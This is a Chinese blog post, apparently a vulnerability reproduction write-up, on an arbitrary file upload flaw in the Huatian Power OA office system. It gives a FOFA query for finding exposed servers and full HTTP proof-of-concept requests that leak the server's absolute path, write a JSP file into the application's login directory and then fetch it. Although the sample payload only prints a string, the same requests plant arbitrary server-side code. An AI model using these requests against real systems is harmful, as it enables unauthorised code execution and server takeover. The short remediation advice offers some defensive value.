华天OA任意文件上传漏洞 复现

文章目录

  • [华天OA任意文件上传漏洞 复现](#华天OA任意文件上传漏洞 复现)
    • [0x01 前言](#0x01 前言)
    • [0x02 漏洞描述](#0x02 漏洞描述)
    • [0x03 影响版本](#0x03 影响版本)
    • [0x04 漏洞环境](#0x04 漏洞环境)
    • [0x05 漏洞复现](#0x05 漏洞复现)
    • [0x06 修复建议](#0x06 修复建议)

华天OA任意文件上传漏洞 复现

0x01 前言

免责声明:请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用!!!

0x02 漏洞描述

华天动力协同办公系统将先进的管理思想、管理模式和软件技术、网络技术相结合,为用户提供了低成本、高效能的协同办公和管理平台。睿智的管理者通过使用华天动力协同办公平台,在加强规范工作流程、强化团队执行、推动精细管理、促进营业增长等工作中取得了良好的成效。

该OA系统存在任意文件上传漏洞,攻击者通过漏洞可以获取服务器的敏感信息。

0x03 影响版本

复制代码
华天动力OA系统

0x04 漏洞环境

FOFA语法:body="/OAapp/WebObjects/OAapp.woa" || body="/OAapp/htpages/app"

0x05 漏洞复现

1.访问漏洞环境

2.构造POC

POC (POST,GET)

获取绝对路径的敏感信息

bash 复制代码
POST /OAapp/jsp/upload.jsp HTTP/1.1
Host: ip:port
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary5Ur8laykKAWws2QO
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 293

------WebKitFormBoundary5Ur8laykKAWws2QO
Content-Disposition: form-data; name="file"; filename="xxx.xml"
Content-Type: image/png

real path
------WebKitFormBoundary5Ur8laykKAWws2QO
Content-Disposition: form-data; name="filename"

xxx.png
------WebKitFormBoundary5Ur8laykKAWws2QO--

写入normalLoginPageForOther.jsp文件,内容为输出12345678

bash 复制代码
POST /OAapp/htpages/app/module/trace/component/fileEdit/ntkoupload.jsp HTTP/1.1
Host: ip:port
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzRSYXfFlXqk6btQm
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 389

------WebKitFormBoundaryzRSYXfFlXqk6btQm
Content-Disposition: form-data; name="EDITFILE"; filename="xxx.txt"
Content-Type: image/png

<%out.print("12345678");%>
------WebKitFormBoundaryzRSYXfFlXqk6btQm
Content-Disposition: form-data; name="newFileName"

D:/htoa/Tomcat/webapps/OAapp/htpages/app/module/login/normalLoginPageForOther.jsp
------WebKitFormBoundaryzRSYXfFlXqk6btQm--

访问normalLoginPageForOther.jsp文件,得到内容12345678

bash 复制代码
GET /OAapp/htpages/app/module/login/normalLoginPageForOther.jsp HTTP/1.1
Host: ip:port
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1

3.复现

1.执行如下语句获取绝对路径的敏感信息。
2.写入normalLoginPageForOther.jsp文件,内容为输出12345678
3.访问normalLoginPageForOther.jsp文件,得到内容12345678
文件上传成功!!!

0x06 修复建议

1.实施产品的权限访问控制,降低互联网搜索引擎的查询。

2.加强后台认证要求,提高口令的安全性。

3.增强关键页面的安全性,提升WEB后台的安全访问控制权限能力。

相关推荐
kruptos2 小时前
分布式系统怎么“选主“?Raft 共识一次讲清
开发语言·分布式·php·共识算法
xcl09252 小时前
幼儿托育系统开发实战:从需求分析到上线全流程指南
java·大数据·需求分析
吴声子夜歌2 小时前
ApacheCommons——commons-cli(命令行参数解析)
java·开发语言·apache
小小猪的春天2 小时前
Java 手写第一个 MCP Server:Spring AI MCP 半小时跑通
java·人工智能·spring boot·ai编程
find1star2 小时前
LeetCode 141:环形链表
java·算法·leetcode·链表
今天AI了吗3 小时前
DeepSeek Harness 深度解析:从评测架构到实战落地
java·网络·数据库·人工智能·架构·java-ee
benchmark_cc3 小时前
REST API 和 Python SDK 应该怎么选?量化交易数据接口选型实战
开发语言·python·数据分析·pandas·量化交易·股票数据·quantdash
王的宝库3 小时前
Go 项目结构:从单文件到标准工程布局
开发语言·后端·golang
Tairitsu_H3 小时前
[C++] 深入理解红黑树:封装set与map
开发语言·c++·set·map·红黑树·模拟实现
腾视科技-AI3 小时前
腾视科技AIBOX双版本重磅发布!本地安全与全球适配,解锁视频智能新可能
大数据·人工智能·科技·安全·大模型·腾视科技·ai算力盒